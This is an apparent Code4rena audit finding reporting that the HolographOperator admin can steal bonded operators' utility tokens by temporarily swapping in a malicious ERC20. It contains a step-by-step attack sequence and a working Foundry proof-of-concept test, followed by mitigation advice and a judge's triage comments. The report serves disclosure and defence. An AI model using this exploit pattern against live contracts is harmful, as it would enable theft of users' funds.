HolographOperator admin can steal utility tokens

[code423n4]

Lines of code

https://github.com/code-423n4/2022-10-holograph/blob/f8c2eae866280a1acfdc8a8352401ed031be1373/contracts/HolographOperator.sol#L1049-L1053

Vulnerability details

Impact

The admin account controlling the HolographOperator can steal arbitrary amounts of utility tokens from bonded operators. This is enabled by a feature that lets the admin change the oracle mid-operation.

Proof of Concept

Here is a sequence of steps the admin can perform to steal the tokens. Notice that all steps can be done in one transaction.

1. Deploy a malicious ERC20
2. Set the utility token of the HolographOperator to the malicious ERC20
3. Bond a new operator with an initial balance equal to the amount you want to steal
4. Change the utility back to the original token
5. Unbond the operator from step 3 to steal the original utility token

Foundry test

A passing test means the exploit was successful.

test/foundry/HolographOperator.t.sol:

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.13;

import "forge-std/Test.sol";
import "contracts/HolographOperator.sol";
import {ERC20Mock} from "lib/openzeppelin-contracts/contracts/mocks/ERC20Mock.sol";

contract HolographOperatorTest is Test {

    address public ADMIN = makeAddr("ADMIN");

    address public ALICE = makeAddr("ALICE");

    HolographOperator operator;

    ERC20Mock utilityToken;

    function setUp () public {
        vm.startPrank(ADMIN, ADMIN);
        address bridge = makeAddr("FAKE_BRDIGE");
        address holograph = makeAddr("FAKE_HOLOGRAPH");
        address interfaces  = makeAddr("FAKE_INTERFACES");
        address registry = makeAddr("FAKE_REGISTRY");
        utilityToken = new ERC20Mock("Utility Token", "UT", ADMIN, 0);
        operator = new HolographOperator();
        operator.init(abi.encode(
            bridge, holograph, interfaces, registry, address(utilityToken)
        ));
        vm.stopPrank();
    }

    function testStealUtilities() public {

        // Alice is an honest operator with an initial balance of 100 UT
        utilityToken.mint(ALICE, 100e18);
        vm.startPrank(ALICE);
        utilityToken.approve(address(operator), 100e18);
        operator.bondUtilityToken(ALICE, 100e18, 1);
        vm.stopPrank();

        // ADMIN is compromised and steals utility tokens
        vm.startPrank(ADMIN);
        // Step 1: Deploy a malicious ERC20
        ERC20Mock attackingToken = new ERC20Mock("Attacking Token", "AT", ADMIN, 100e18);
        // Step 2: Set the utility token of the HolographOperator to the malicious ERC20
        operator.setUtilityToken(address(attackingToken));
        // Step 3: Bond a new operator with an initial balance equal to the amount you want to steal
        attackingToken.approve(address(operator), 100e18);
        operator.bondUtilityToken(ADMIN, 100e18, 1);
        // Step 3: Change the utility back to the original token
        operator.setUtilityToken(address(utilityToken));
        // Step 4: Unbond to steal the original utility token
        operator.unbondUtilityToken(ADMIN, ADMIN);
        vm.stopPrank();
        

        assertEq(utilityToken.balanceOf(ADMIN), 100e18);
        assertEq(utilityToken.balanceOf(ALICE), 0);
        assertEq(utilityToken.balanceOf(address(operator)), 0);
    }

}

foundry.toml

[profile.default]
src = "contracts"
out = "out"
test = "test/foundry"
libs = ["lib"]

remappings.txt

ds-test/=lib/forge-std/lib/ds-test/src/
forge-std/=lib/forge-std/src/
openzeppelin-contracts/=lib/openzeppelin-contracts/contracts/

Tools Used

VSCode, Foundry

Recommended Mitigation Steps

Reconsider the design choices of the HolographOperator that enable this vulnerability.
Is it necessary for the admin to change the utility token mid-operation?
If not, consider removing the capability.
If necessary, ensure that the internal accounting for the different tokens is separated.
Ensure operators can still withdraw previous balances obtained from all former utility tokens.

[gzeoneth]

Duplicate of #241

[gzeoneth]

As QA report